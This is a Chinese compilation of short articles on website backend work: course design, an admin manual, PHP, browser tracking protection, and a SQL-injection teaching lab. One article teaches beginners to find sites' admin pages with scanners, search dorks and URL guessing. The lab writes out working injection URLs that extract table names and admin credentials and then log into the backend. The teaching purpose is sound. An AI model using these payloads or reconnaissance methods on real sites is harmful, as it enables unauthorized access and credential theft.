网站后台开发

网站后台开发（精选九篇）

网站后台开发 篇1

1课程简介

《网站后台开发》是本院网络数字媒体专业、计算机应用技术专业的专业核心课程, 该课程以WEB程序员工作岗位的职业能力和职业素质培养为中心任务, 通过该课程的学习, 学生可以掌握网站数据库设计、后台功能开发、发布与维护等职业能力, 同时提高团队协作、沟通表达等职业素质, 达到企业对WEB程序员的用人标准。本门课程传统的讲授式教学方法知识点多, 概念性强, 学生学习完成后缺乏项目经验, 进入企业后难以快速上手工作, 而《网站后台开发》课程资源库的建设, 通过企业调研, 明确WEB程序员工作岗位所需的知识、能力和素质的要求, 选择适合的教学项目, 以项目化教学为载体, 建设一个以集视频、动画、文字、图片为主体的多维一体的课程资源库, 将专业技能与岗位需求设计的更贴近, 理论与实践结合的更紧密, 进而实现更好的教学效果。

2课程资源库设计的原则

2.1以职业能力和职业素质培养为主要原则。建设资源库的目的是提高课程教学效果, 而学生是否能达到企业用人要求, 是检验课程教学效果的主要标准, 所以资源库的建设不能脱离企业, 需要通过大量的调研, 明确企业的用人需求, 梳理课程对应岗位所需的职业能力、知识和素质, 设计合适的教学项目, 整合教学资源, 建设课程资源库。2.2实用性和通用性的原则。教学资源库定位于为教学服务, 所以设计上不能是资料的简单堆积, 而是要既有利于教师的教, 也有利于学生的学, 同时随着市场的不断更新与发展变化, 及时更新教学内容, 丰富教学资源, 以保证资源库的实用性。《网站后台开发》课程资源库的建设是按照工作岗位从生手——熟手———骨干的职业成长规律来对能力点和知识点划分, 使学生能够根据自身的情况进行选择性的学习, 资源库还根据职业胜任能力的规律设置测试题库, 学生通过客观的职业胜任能力测试题和专业技能测试题的结果分析, 更清楚的明确自己的技能水平和所处职业等级, 既可以根据自身情况进行选择性的学习, 系统也可以根据学习者的测试结果推荐相应的课程, 保证了资源库的通用性。2.3交互性的原则。丰富的教学资源上网后对课程的教学有了很大的支持, 更多的教师和学生可以利用和共享这些资源开展教学或学习, 但是资源库光是资源丰富还不够, 还应该提供讨论交流的平台, 为师生更好的交流提供渠道, 同时还可以根据使用者的反馈, 对课程资源进行技术的调整和更新。

3课程资源库的建设内容

3.1总体构架设计。《网站后台开发》课程资源库的建设是将现有的课程资源进行有效的优化、整合、转化, 根据资源库的设计原则, 资源库内容主要有课程概况、教学资源、互动平台三部分组成, 总体构架设计如图1所示。3.1.1课程概况:课程概况在整个课程学习中具有先导作用, 主要内容包括:课程定位、课程设计、课程沿革、课程特色以及教学队伍建设等。3.1.2教学资源:教学资源是资源库的主体内容, 包括课程的相关资源:课程标准、整体设计方案、教学方法教学手段总结、学习指南、知识要点、考核方案、文献资源、工程文件模板 (需求登记表、网站建设方案、协议书) 、教案首页、教案、试题库、课件、案例、项目任务书、操作录频、教学视频等。3.1.3互动平台:通过讨论交流师生进行互动, 在交流中教师可以及时掌握学生动态, 根据教学反馈及时调整教学设计。学生还可以将作品上传到作品在线考核平台, 方便教师考核和其他同学互评。3.2丰富的资源表现形式。教学资源库把与教学内容相关的文本、图片、动画、视频、案例、项目等材料经过优化、筛选、加工、创新后序化整合到一起, 形成丰富的资源, 展示给教师和学生。3.2.1文本和图片。文本和图片主要包括课程标准、考核方案、学习指南、文献资源、教案首页、教案、PPT、工程文件模板、任务完成评价表等, 学生通过这些资源可以了解到本门课程以及案例或者项目的具体学习要求、学习目标、学习方法和考核要求等, 方便学生开展自主学习。另外资源库还提供了大量职业信息, 包括网站开发类、美工设计类、网络管理员等相关行业、企业信息, 同时设计了课程试题库, 题目涵盖了课程技能点、知识点的测试题目及WEB程序员面试常见题目, 方便学生进行自我考核测试。3.2.2动画和视频。动画主要以教学设计为基础, 通过动画过程充分展现网页制作的操作过程和制作技巧等, 提高学生的学习兴趣。视频包括操作录频及教学录像两种, 教学录像包括教学过程中难点的演示和讲解, 帮助学生尽快掌握各项操作技能, 而操作录频可以方便地展示项目制作过程中数据库设计、登录注册模块、文章发布等功能模块的设计流程和操作步骤, 提供给学生自学或参考。3.3良好的互动平台设计。交互性在大量教学实践中被证明对激发学习者的学习兴趣, 促进学习者获取知识和培养学习者各种技能方面起着至关重要的作用, 老师可以通过讨论交流与学生沟通互动, 另外资源库根据网站后台开发的课程内容特点, 设计了作品在线考核系统, 在学习过程中, 学生可以将自己的作品上传到网站上, 供教师和其他学生进行评价和讨论, 共同提高学习效果。

4结论

《网站后台开发》课程资源库的建设通过大量的教学动画、视频、图片、文本等材料, 结合现代化的多媒体教学方式和教学手段, 使课堂教学更有直观性、针对性和操作性。在授课方式上, 将传统的课堂讲授延伸为网络化教学;在教学资源上面, 将传统的教材、讲义等印刷书刊延伸为形式多样的数字化立体教材;在课程考核上, 也由传统的试卷和练习延伸到在线测试和在线考核, 授课时间上也不仅仅只是限于上课时间, 空间上也不再局限于上课教室, 可以随时随地上网进行学习。这种互动的、开放的共享资源库实现了更好的教学效果。

参考文献

[1]辛岚.《模具制图》课程教学资源库的建设与应用[J].教育教学论坛, 2014, 7:174-175.

[2]曹克刚, 鞠加彬.高职高专《机械制造技术》课程教学资源建设初探[J].职业技术, 2012.05:34-35.

[3]刘翼.中药鉴定技术课程资源库的构建[J].卫生职业教育, 2014, 3:139-140.

网站后台管理说明书 篇2

一 注册与登陆：注册：

进入网站首页，点击页面左边登陆窗口的“注册”按钮进入注册类型选择页，选择注册类型“校内教师注册”或“企业用户注册”。

1.1 校内教师注册

输入自行设定的用户名、密码，以及姓名、学院、出入证号（或身份证号）后，提交注册单。若注册不成功请与本学院科研秘书或科技处联系。若使用身份证号注册不成功，请从本学院科研秘书处获取出入证号。注册完成后，用户名密码立即生效。

1.2 企业用户注册

按注册单要求填写注册单即可完成注册。登陆：

进入网站首页，在网页左边登陆窗口输入已注册成功的用户名密码，点击“登陆”按钮即可进入后台管理系统。

二 功能及使用说明：企业用户身份：

以正确的企业用户ID登陆后，可在网站首页原登陆窗口处点击“发布需求”链接发布企业技术需求信息。点击网站首页原登陆窗口处“退出”链接即可安全注销身份。普通教师用户身份：

以正确的用户名及密码登陆后，进入教师用户管理界面，左边页面为网站系统菜单，右边为点击栏目后显示的页面。

网站系统菜单分为动态信息、个人项目查询、一般查询、项目成果专利申请、其他、系统管理六大类35个子栏目。

A.动态信息

(1)新闻动态：查询校内外科技动态及校内科技信息，可按标题、类型、内容、发布时间进行查询，点击标题查看详细内容。

(2)通知公告：查询会议通知、工作通知、重要通知及项目申报，可按标题、类型、内容、发布时间进行查询，点击标题查看详细内容。

(3)系统通知：查询各种系统自动发出的通知及预警，可按标题、类型、内容、发布时间进行查询。

(4)科技法规：查询校内科技法规及校外科技法规，可按标题、内容、发布时间进行查询，点击标题查看详细内容。

(5)文件下载：进入前台“文件下载”栏目，可查询并下载文件。

B.个人项目查询

(1)计划项目查询：查询本人的所有计划项目信息，点击项目名称可查询详细内容。

(2)协作项目查询：查询本人的所有协作项目信息，点击项目名称可查询详细内容。

(3)未按时结题原因录入：查询本人的所有未按时结题的协作项目信息，点击“原因录入”进入下一页面，录入未按时结题原因。

C.一般查询

(1)三大检索论文：查询全校所有三大检索论文。

(2)中文核心期刊：查询全校所有中文核心期刊论文。

(3)其它论文：查询全校所有其它类型论文。

(4)科研成果查询：查询校内科技成果。

(5)专家信息：查询校内专家信息。

(6)校内人员查询：查询校内所有录入“个人信息－研究方向”的教职工。

(7)企业技术需求查询：查询企业用户发布的技术需求，以及科技处提供的需求信息汇总下载。

D.项目成果专利申请

(1)计划项目申请：按页面提示要求填写“计划项目申请情况表”并提交，必填字段必须填写，否则无法提交申请表。

(2)计划项目查询：查询本人申请的所有计划项目，点击项目名称查看详细内容。

(3)协作项目申请：按页面提示要求填写“协作项目申请情况表”并提交，必填字段必须填写，否则无法提交申请表。

(4)协作项目查询：查询本人申请的所有协作项目，点击项目名称查看详细内容。

(5)科技成果鉴定申请：按页面提示要求填写“科技成果鉴定申请情况表”并提交，必填字段必须填写，否则无法提交申请表。

(6)科技成果奖励申请：按页面提示要求填写“科技成果奖励申请表”并提交，必填字段必须填写，否则无法提交申请表。

(7)科技成果奖励查询：查询所有科技成果获奖情况。

(8)校内科技奖励查询：查询所有校内科技奖励情况。

(9)科技成果推广申请：按页面提示要求填写“科技成果推广申请表”并提交，必填字段必须填写，否则无法提交申请表。

(10)专利技术推广申请：按页面提示要求填写“专利技术推广申请表”并提交，必填字段必须填写，否则无法提交申请表。

(11)专利申请登记：按页面提示要求填写“专利申请登记表”并提交，必填字段必须填写，否则无法提交申请表。

(12)发明专利基金资助申请：请在“专利申请登记”栏登记专利后再填写此表。必填字段必须填写，否则无法提交申请表。

(13)成都市专利补助金申请：按页面提示要求填写“成都市专利补助金申请表”并提交，必填字段必须填写，否则无法提交申请表。

E.其他

(1)申请校级科研机构：按页面提示要求填写“申请校级科研机构登记表”并提交，必填字段必须填写，否则无法提交申请表。

(2)申请校印登记：按页面提示要求填写“申请校印登记表”并提交，必填字段必须填写，否则无法提交申请表。

(3)科技信息投稿：按页面提示要求填写“科技信息投稿”并提交，经科技处审核通过后，将在网站显示。

(4)专家审核项目专栏：此页面为专家审核计划项目专用，若查询到未鉴定项目，请点击“进行鉴定”进入鉴定页面进行鉴定。

(5)修改个人信息：请按页面提示修改个人信息。

F.系统管理

(1)修改密码：请按页面要求修改密码，新设定密码必须6位以上，并请注意密码大小写。

(2)退出系统：点击此链接可安全注销教师用户身份。

3、科研机构秘书身份：

若你具有科研机构主管或秘书权限，在登陆管理系统后，网站系统菜单将增加“科研机构信息录入”大类，具体子栏目如下：

(1)基本信息录入：按页面要求录入或修改机构基本信息。

(2)实验设备资源录入：添加实验设备资源信息。

(3)实验项目资源录入：添加实验项目资源信息。

(4)实验设备资源查删改：查询、修改或删除已发布实验设备资源。

(5)实验项目资源查删改：查询、修改或删除已发布实验项目资源。

4、学院科研秘书身份：

以学院科研秘书身份登陆后界面、功能与教师用户完全一样，点击左边菜单上方“切换到学院”即可进入学院科研秘书操作界面。

学院科研秘书系统菜单分为动态信息、项目查询、论著分选、一般查询、项

目成果专利审查、其他、系统管理七大类35个子栏目。

A.动态信息

此栏目内容与教师页面相关栏目操作完全一样。

B.项目查询

(1)计划项目查询：查询本学院的所有计划项目信息，点击项目名称可查询详细内容。

(2)协作项目查询：查询本学院的所有协作项目信息，点击项目名称可查询详细内容。

C.论著分选

(1)三大检索论文分选：可查询全校所有三大检索论文，点击需要分选的论文一行最后一个单元格内“该论文未分选”进行分选，按要求输入统计作者职工号、第一作者职工号、第二作者职工号、第三作者职工号、论文发表时间，经过确认页面最后提交。

(2)中文核心期刊分选：操作同上条。

D.一般查询

(1)三大检索论文：查询全校所有三大检索论文。

(2)中文核心期刊：查询全校所有中文核心期刊论文。

(3)其它论文：查询全校所有其它类型论文。

(4)科研成果查询：查询校内科技成果。

(5)专家信息：查询校内专家信息。

(6)科研经费到校情况：查询本学院科研经费到校情况。

(7)校内人员查询：查询校内所有录入“个人信息－研究方向”的教职工。

(8)企业技术需求查询：查询企业用户发布的技术需求，以及科技处提供的需求信息汇总下载。

(9)教师出入证号查询：查询教职工出入证号，身份证号等基本信息。E.项目成果专利审查

(1)计划项目审查：查询审查本院教职工提交的计划项目，审查流程是先“指

定专家”，然后再“进行审查”，审查完成后不可再修改审核意见。

(2)协作项目审查：查询审查本院教职工提交的协作项目，点击“进行审查”进入审查页面，审查完成后不可再修改审核意见。

(3)科技成果审查：操作方式同上条。

(4)科技成果申报审查：操作方式同上条。

(5)科技成果推广审查：操作方式同上条。

(6)科技奖励申请审查：操作方式同上条。

(7)专利技术审查：操作方式同上条。

(8)发明专利基金资助申请审查：操作方式同上条。

(9)专利申请审查：操作方式同上条。

(10)成都市专利补助金申请审查：操作方式同上条。

F.其他

(1)科技信息投稿：按页面提示要求填写“科技信息投稿”并提交，经科技处审核通过后，将在网站显示。

(2)发文发函：按页面提示要求填写“发文发函申请表”并提交，提交后会提示上传附件，请选择文件后上传。

(3)科技信息投稿：按页面提示要求填写“科技信息投稿”并提交，经科技处审核通过后，将在网站显示。

(4)添加专家信息：按页面要求添加本学院专家信息。

(5)修改专家信息：查询、修改本学院专家信息。

(6)修改个人信息：请按页面提示修改个人信息。

G.系统管理

(1)修改密码：请按页面要求修改密码，新设定密码必须6位以上，并请注意密码大小写。

杜绝不良网站的后台跟踪 篇3

激活火狐的跟踪保护功能

不久前，火狐浏览器发布了全新的跟踪保护技术，该技术通过屏蔽请求和跟踪域名来减少跟踪行为。由于火狐浏览器默认并没有启用这项技术，所以用户要想使用它的话，首先要通过“about：config”命令进入到火狐浏览器的参数设置界面。然后搜索参数名称“privacy.trackingprotection.enabled”，双击找到的参数名称，把它的参数值变为“true”就可以了（图1）。这一技术由于拦截了很多不必要的网络内容，因此还有一个好处就是能加快网页的载入速度。

不过由于这一保护技术依赖于“Safe Browsing”功能，所以还需要开启“Safe Browsing”。首先点击右上角的“打开菜单”按钮，在弹出的菜单中点击“选项”命令。接着在弹出的窗口中点击左侧列表中的“安全”选项，在右侧窗口里面将“阻止已报告的攻击站点”和“阻止已报告的钓鱼网站”选项选中即可（图2）。

所有的设置完成后重新启动火狐浏览器，以后它在屏蔽了任意跟踪域或者混合内容的时候，就会在地址栏的前方看到一个盾牌图标，点击该图标后就可以看到被拦截的详细信息（图3）。

为其他浏览器添加类似功能

虽然火狐浏览器拥有了跟踪保护的功能，但是并不代表其他的浏览器也有类似的功能，那么使用其他浏览器的用户应该如何进行保护呢？由于火狐浏览器的这项功能是基于Disconnect的黑名单完成的，所以如果使用的是谷歌浏览器及其衍生浏览器的话，可以到应用商店寻找一个名为“Disconnect”的功能扩展进行安装，这样同样可以起到跟踪保护功能的效果。

还有些人使用的浏览器可能比较小众，没有相关的功能扩展可以使用，那么我们还可以选择另类的方法进行操作。比如在知名的“Adblock Plus”扩展里面的“EasyPrivacy”规则，就是用于尽可能阻止网站的用户跟踪脚本的，通过广告过滤软件订阅该规则就能进行防范操作。

网站后台通用管理系统分析与设计 篇4

随着网络规模的扩大, 各种类型的网站和应用系统的需求越来越广泛。网站一般是由前台和后台组成。网站前台是面向网站访问用户的, 通俗地说, 也就是给访问网站的人看的内容和页面, 如新闻信息、单位介绍、单位联系方式等信息和内容。网站后台, 是指用于管理网站前台的一系列操作, 如:新闻信息的增加、更新、删除等, 通过网站管理后台, 可以有效的管理网站供浏览者查阅的信息。

综合多个网站我们可以发现, 虽然网站的前台的界面都不相同, 但是网站后台的管理很多模块是相似的, 那么就可以考虑把这些大致相同的功能模块组合到一起, 形成有效的网站后台通用管理系统, 从而可以方便各种网站后台的开发。

1. 系统需求分析

经过调查研究发现, 网站前台设计不仅需要程序开发, 而且涉及到界面等美工问题, 而后台只需要功能齐全就可以了, 因此, 开发网站后台通用管理系统可以提高网站开发效率。综合西南石油大学内部大多数网站后台功能模块, 网站后台通用管理系统主要由个人信息管理、用户管理、模块管理、网站组合管理等几个主要的功能模块组成, 规划系统功能模块如图2所示。而具体的网站后台功能模块主要包括个人信息管理、添加管理员管理、栏目管理、信息管理、文件上传管理和留言管理等, 如图3所示。

2. 系统总体设计

网站后台是主要定制网站前台内容的, 而网站后台通用管理系统是定制网站后台的内容, 不过这个内容特指网站功能。网站后台通用管理系统的管理员针对不同的网站功能模块需要把相应的功能模块赋予网站后台管理员, 从而形成各种不同的网站后台, 具体系统管理流程图如图4所示。

3. 系统实现

经过系统设计, 可以看出系统实现主要由网站后台通用管理模块和网站后台模块两部分组成。网站的通用模块都是通过超级管理员动态添加的, 超级管理员登录到主系统后可以对这些功能模块进行增、删、改等操作来实现对本系统的更新。而具体的功能模块的设计可以根据用户的需要由开发者重新开发, 系统主要用到的是ASP.NET中用户控件来开发功能模块。本文主要利用ASP.NET和SQLServer来构建该系统, 涉及到的核心技术都不是很难 (主要是对数据库的操作如添加、删除、更新等) , 这里就不一一介绍了。图5是系统实现的一个界面图。

4. 结论

本文介绍了网站后台通用管理系统的设计和实现, 主要是为了介绍后台通用管理系统的设计思路即开发多个功能模块, 定制相应的功能模块来组成网站后台, 本文实现仅以一些简单的功能来体现这个思想。后期开发研究主要集中在使用Active X控件来直接拖动模块, 方便用户操作;数据库采用动态生成数据表实现网站后台的数据分离;不断更新现有模块和补充新的模块来完善系统。

参考文献

[1]刘晓华.NET核心技术[M].电子工业出版社, 2002.

[2]Visual C.NET案例开发集锦 (含光盘) [M].电子工业出版社, 2000.

[3]薛元昀等.网页数据库设计与发布 (第2版) [M].北京:清华大学出版社, 2000.

[4]面向对象开发实践之路C#版 (CD) [M].电子工业出版社, 2000.

[5]ASP.NET+SQL Server[M].人民邮电出版社.

[6]尚俊杰.ASP.NET程序设计[M].北京:北京交通大学出版社, 2004.

[7]Progamming ASP.NET[Z].Published by O'Reilly Media.

[8]基于ASP的通用网站管理系统[J].软件开发与应用, 2007, 26, (8) .

教菜鸟快速找网站后台 篇5

如大家常用的:明小子(下载地址：www.heibai.net/download/Soft/Soft_9624.htm)、啊D(啊D抓鸡教程：www.heibai.net/download/Soft/Soft_6079.htm)、wwwscan

以及一些列目录工具:Acunetix Web Vulnerability Scanner 、JSky、IntelliTamper、Netsparker...等等

2.网站资源利用

如:网站根目录Robots.txt文本、图片路径爆后台、查看网站底部版权信息是否有连接、通过网站里的文件名查询源码下载得知

3.搜索引擎查询

命令很多种列几种自己常用的吧:

site:heimian.com intext:管理|后台|登陆|用户名|密码|验证码|系统|帐号|manage|admin|login|system

site:heimian.com inurl:login|admin|manage|manager|admin_login|login_admin|system

site:heimian.com intitle:管理|后台|登陆|

site:heimian.com intext:验证码

4.社会工程学

猜吧...

如:前段时间的CCTV chinvan.cctv.com/ChinvanAdmin/login.aspx 看出什么没有这样的情况经常能碰到就是域名+admin

www.heimian.com

heimianadmin heimian_admin heimianmanage adminheimian等等,这个要看运气了,祝大家好运~

网站后台开发 篇6

1.1 高效的数据访问

动态网站的数据库设计需要在前期进行, 后期选择的编程技术与数据库的联系不紧密, 但是要想提高数据库的访问速度, 增强网站的数据的处理能力, 则不仅要选择适当的数据库, 更要选择好数据库的操作语言。

1.2 功能优先的原则

在网站的设计中, 前台设计主要考虑整个页面的表现, 而后台的设计则主要考虑功能的实现。为了满足浏览者对网页的感官和内容的需求, 前台页面要注重页面的美化、友好的互动和升温并茂的展现。而在后台的设计过程中, 主要考虑的是更好、更快捷的管理整个网站和数据库, 所以后台的用户界面简单, 主要的工作集中在功能的实现上。

1.3 较好的互动性

每个网站的后台都应该具备友好的界面和方便快捷的操作功能, 这样能够使一些不懂的网站开发的管理员, 很容易的管理网站的后台, 在后台中使用菜单、表格和按钮等交互元素, 让用户有亲切感, 是整个网站生动起来。

2 PHP语言的特点

PHP (Hypertext Preprocessor) 是英文超级文本预处理语言。它是服务器端执行的嵌入HTML文档的脚本语言, 语言的风格与C语言类似, 应用十分广泛。有一下特点:

2.1 开源性和免费性

由于PHP的解释器的源代码是公开的, 所以安全系数较高的网站可以自己更改PHP的解释程序。另外, PHP运行环境的使用也是免费的。

2.2 跨平台性强

由于PHP的解释器是开源的, 所以能够在所有的操作系统平台上非常稳定地运行, 这使它成为常用的服务器语言。

2.3 快捷性

PHP是一种非常容易学习和使用的一门语言。它的语法特点类似于C语言, 但又没有C语言复杂的地址操作, 而且又加入了面向对象的概念, 再加上它具有简洁的语法规则, 使得它操作编辑非常简单, 实用性很强。

2.4 面向过程和面向对象并用

在PHP语言的使用中, 可以分别使用面向过程和面向对象, 而且可以将PHP面向过程和面向对象两者一起混用, 这是其他很多编程语言是做不到的。

2.5 运行高效性

由于PHP运行在相应的平台解释器上, 消耗系统资源比较少, 运行的环境简单, 所以效率就很高。

2.6 数据库连接的广泛性

PHP可以与很多主流的数据库建立起连接, 如My SQL、ODBC、Oracle、Adabas D、S等。PHP是利用编译的不同函数与这些数据库建立起连接的, PHPLIB就是常用的为一般事务所提供的基库。

3 PHP在后台制作中的优势

3.1 语言的运行环境

JSP的数据处理主要采用Java代码, 它将服务器端的代码和网页的表现形式逻辑分开。JSP页面首先转换成Servlet代码, 然后用Java编译器将Servlet代码编译成class字节码文件, 实现对客户端的应答。平台的无关性是它最大的优势, 只要平台上安装Java虚拟机, 它就可以在任何平台上运行。APACHE+TOMCAT+JSP是它常用的运行环境, 它的平台无关性使其开发的成本大大降低, 被市场广泛的应用。

ASP是微软开发的服务器端脚本语言, 和VB的语法类似, 可以把后台脚本代码内嵌到HTML页面中, 主要在微软服务器版操作系统上运行, 它内含于IIS之中, 结合HTML网页、Active X元件和ASP指令建立交互的和动态的Server+IIS, 而且依赖于这种环境, 导致了ASP几乎不能再其他的平台上运行, 这样就增加了ASP的运行成本, 影响了ASP的广泛使用。

ASP.NET是一个已编译的、基于.NET的环境, 可以用Visual Basic.NET、JScript.NET和C#这些与.NET兼容的语言创作应用程序。其中整个.NET Framework中的优点, 如托管的公共语言运行库环境、继承、类型安全等, 能够方便的被开发人员使用。但是这些优点也被局限在微软的平台上, 使其优点也有局限性, 不能广泛的被使用。

PHP是一个开源的设计语言, 它的函数库内容被不断的增加和更新, 使得PHP不论在WIN32或者UNIX的平台上都会有更多更新的功能, 它的平台的运行环境 (APACHE+TOMCAT+PHP) 也使它实现了平台的无关性。“开源、免费、跨平台”是它被广泛使用的最重要原因,

3.2 安全性

JSP文件被首次调用, 其实就是执行一个Servlet的编译过程, JSP源文件中的JAVA代码会变成字节码文件, 这些文件在JAVA虚拟机中运行处理客户端的请求, 然后将处理的结果返回给客户端。由于整个过程用户看不到源代码执行的过程, 所以它的安全性是很高的。

由于ASP和ASP.NET都依赖于微软的操作系统, 且微软的系统漏洞百出, 导致了ASP存在很大的安全问题。虽然COM组件的使用使ASP变得很强大, 但是由于微软系统最初的设计问题, 会使ASP引发大量的安全问题。

PHP的安全性和稳定性只比JSP低了一点。它的平台的无关性, 使它运行中的源代码不会被终端用户看见, 所以安全性很高。

3.2 数据库的连接

JSP是通过JDBC连接数据库的, 要求目标数据库提供JDBC驱动程序, 数据库的操作是通过目标数据库加载驱动程序后, 由驱动程序完成的, 它不直接访问数据库。当数据库中没有JDBC驱动只有ODBC驱动时, JAVA会使用JDBC-ODBC桥来访问数据库。由于它不是直接访问数据库的所以, 数据库的访问速度不快。

ASP是使用ODBC通过ADO连接数据库的, 它可以很方便的和各种数据库建立起连接, 而且访问的速度也很快。但由于平台的制约, 它的使用仍然受到限制。

PHP有良好数据库交互能力的开发语言, 通过丰富的函数实现了与许多数据库相连。你还可以使用自己编写的函数间接存取数据库, 通过这样的途径当你更换使用的数据库时, 可以轻松地更改编码以适应这样的变化。但PHP提供的数据库接口彼此不统一。由于其访问不同的数据库有专门的接口直接访问数据库, 在访问效率上也是最快的。

摘要：本文主要阐述了在网站后台建设中PHP的特点。比较了PHP和ASP.NET、JSP、ASP各语言的特点, 从语言的跨平台性、开源性、数据库连接、运行效率、安全性等方面, 阐述了PHP语言在网站后台建设中的优势。

关键词：PHP,网站后台,数据库连接

参考文献

[1]李雪玲, 管群.基于PHP技术的在线考试系统设计与实现[J].计算机与现代化, 2009 (2) :118-121.

[2]邹天思, 孙鹏.PHP从入门到精通[M].北京:清华大学出版社, 2008.

网站后台开发 篇7

在之前工作经验的基础之上, 笔者总结了开展ASP+SQL Server 2000环境下利用SQL注入攻击登录网站后台实验环境搭建及使用的研究, 希望能对高职院校《网络安全与防范》课程中SQL注入攻击与防范的教学起到一定的促进作用。

利用SQL注入攻击登录网站后台实验环境的搭建

在之前的工作中, 已经基于ASP+SQL Server2000搭建了一个具有SQL注入漏洞的动态网站Testweb, 并且演示了使用SQL注入攻击, 添加目标计算机系统的管理员账户、开启远程终端连接, 并且用攻击机远程登录到目标计算机等操作。

本文扩展了动态网站Testweb, 使其有用于网站后台登录的页面, 然后我们将展示使用SQL注入攻击获得网站后台账户、口令, 并且登录进入后台的操作。

如之前的工作一样, 使用VMware Work Statition虚拟机软件安装了两台虚拟机, 一台虚拟机安装的是Windows Server 2003操作系统, 用于模拟被攻击的服务器, IP地址为192.168.248.132;另一台虚拟机安装的是Windows XP操作系统, 用于模拟黑客使用的攻击机, IP地址为192.168.248.133。

在Windows Server 2003虚拟机上, 扩展了之前搭建的使用ASP+SQL Server 2000开发的简单的动态网站Testweb。该动态网站访问名为Testweb的数据库, 该数据库原来只包含一个表:tbl News。我们扩展了该数据库, 使其包含另一个表:tbl User, 该表用于存储登录后台的账户和密码。tbl User的具体结构如表1所示。

初始时在这个表中输入了一些测试用的数据。

该网站原来包括以下三个页面:conn.asp、news.asp、display News.asp。其中conn.asp用于保存与SQL Server 2000数据库服务器的连接信息;news.asp用于读取数据库中的新闻记录, 显示所有新闻的标题, 并且将这些标题以超级链接的形式显示。当单击某个新闻的标题后, 即可以进入形如display News.asp?id=xxx的页面, 看到新闻的具体内容 (其中“xxx”表示某条新闻在tbl News表中ID字段的值) 。

新增以下三个页面:login.asp、process Login.asp和main.asp。login.asp是网站后台员登录的页面;process Login.asp用于处理网站后台的登录, 若用户通过验证, 则跳转到main.asp, 否则跳转回login.asp;main.asp用于模拟管理员登录后台后进入的页面。与之前一样, 设置该网站的默认页面为news.asp。

login.asp的代码如下所示:

从新增的三个页面的具体代码可以看出, 新增的页面也具有简单, 易于理解、分析和掌握的优点。

同时, 页面display News.asp有SQL注入漏洞, 可以满足进行SQL注入攻击的实训需要, 其具有SQL注入漏洞的具体语句为:

str Sql="select*from tbl News where ID="&news ID

该语句根据某条新闻的ID查询tbl News表的内容, 可以在形如display News.asp?id=xxx的地址后面加入精心构造的语句, 从而执行特定的SQL语句, 查询信息、执行命令、进而控制服务器。

利用SQL注入攻击登录网站后台实验环境的使用

如上开发的动态网站Testweb具有SQL注入漏洞, 下面我们通过破解网站后台账户、口令的入侵步骤来展示该SQL注入攻击实验环境的使用。

访问Testweb网站, 判断其是否具有SQL注入漏洞。

(一) 猜解含有字符串“pass”的字段名以及该字段所属表的表名

在SQL Server 2000中, 当前数据库的syscolumn表中有以下两个字段:name和id。其中name是当前数据库中所有表中含有的字段的名称, id是该字段所属表的编号。通过查询syscolumns表, 我们就可以得到含有字符串pass的字段名以及该字段所属表格的编号。再使用SQL Server中的object_name (id) 函数就可以得到字段所属表格的名称。

在地址栏输入:http://192.168.248.132/testweb/display News.asp?id=1 and (select top 1 t_name%2b’|’%2bc_name from (select top 1 object_name (id) as t_name, nameasc_namefromsyscolumnswhere char Index (‘pass’, name) >0 and left (name, 1) !=’@’order by t_name) as T order by t_name desc) >0 (1)

返回的提示信息包含:将nvarchar值'sysusers|password'转换为数据类型为int的列时发生语法错误。从返回信息中, 我们可以知道当前数据库中有一个sysusers表, 该表含有password字段。

将 (1) 中的子查询“select top 1 object_name (id) as t_name, name….”中的1依次修改为2, 3, ……, 即可得到所有含有“pass”的字段名以及该字段所属表的的表名信息。如将“select top 1 object_name (id) as t_name, name….”改成“select top 2 object_name (id) as t_name, name….”后, 得到的提示信息包含:将nvarchar值'tbl User|password'转换为数据类型为int的列时发生语法错误。从该提示信息, 可以知道当前数据库中有个tbl User表, 该表有password字段。

(1) 比较复杂。首先看 (1) 的子查询中的:select top 1 object_name (id) as t_name, name as c_name from syscolumns where char Index (‘pass’, name) >0and left (name, 1) !=’@’order by t_name (2)

(2) 的原理是:在syscolumns表中筛选出字段名中包含字符串“pass”, 并且字段名不以字符“@”起始的记录, 然后得到这些记录的字段名和该字段所属的表的表名 (通过object_name (id) 函数从表的id得到表的名称) , 再将这些结果根据表名按照升序进行排列, 最后筛选出最前面的一条记录。

(1) 的原理是从子查询 (2) 的结果中根据表名降序筛选出最前面的一条记录, 并将表名和字段名用“|”连接起来, 得到最终的结果, 最后让其与整数0进行比较, 因为类型不匹配, 将导致SQL Server出错, 根据出错信息, 即可得到表名和字段名。其中“%2b”是字符串连接运算符“+”。

(二) 得到用户表的字段数目

在地址栏输入:http://192.168.248.132/testweb/disp lay News.asp?id=1 and (select cast (count (*) as varchar (20) ) %2b’|’from syscolumns where id=object_id (’tbl User’) >0 (3)

返回的信息包含:将varchar值'2|'转换为数据类型为int的列时发生语法错误。从该提示信息可以确定tbl User表共含有2个字段。

(三) 得到用户表的所有字段名

在地址栏输入:http://192.168.248.132/testweb/display News.asp?id=1 and (select top 1 cast (name as nvarchar (200) ) %2b’|’from (select top 1 name from syscolumns where id=object_id (’tbl User’) order by id) as T order by id desc) >0 (4)

返回的信息包含:将nvarchar值'password|'转换为数据类型为int的列时发生语法错误。从该提示信息, 可以知道tbl User有一个字段为password。将子查询“select top 1……”中的1改为2, 即可得到tbl User的第2个字段的名称, 返回的信息包含:将nvarchar值'username|'转换为数据类型为int的列时发生语法错误。从提示信息, 即可以知道tbl User的另一个字段的名称是username。

(四) 得到用户名和密码

在地址栏输入:http://192.168.248.132/testweb/display News.asp?id=1 and (select top 1 username%2b’|’%2bpassword from (select top 1 username, password fromtbl Userorderbyusername) asTorderby username desc) >0

返回的提示信息包含:将nvarchar值'testweb|123456'转换为数据类型为int的列时发生语法错误。从提示信息, 即可以知道其中一个用户名/密码为:testweb/123456。将子查询中的“select top 1 username, password from tbl User…….”中的1改为2, 3……即可以得到其他的用户名/密码。

(五) 登录网站的后台

使用“多线程后台扫描器”扫描得到该网站的后台地址为:http://192.168.248.132/testweb/login.asp

在该网页中用户名框输入“testweb”, 密码框输入“123456”即可成功登录后台。

结语

与DVBBS等整站程序相比, 我们搭建的实验环境具有简单、方便学生理解、分析和掌握的优点。同时, 我们的实验环境设有SQL注入漏洞, 能够让学生方便地演练在ASP+SQL Server 2000环境下猜解数据表的名称、猜解字段的数目、字段的名称、字段的内容、扫描网站后台等操作。这对提高学生的学习兴趣, 掌握SQL注入攻击的原理和具体的实施步骤很有好处。

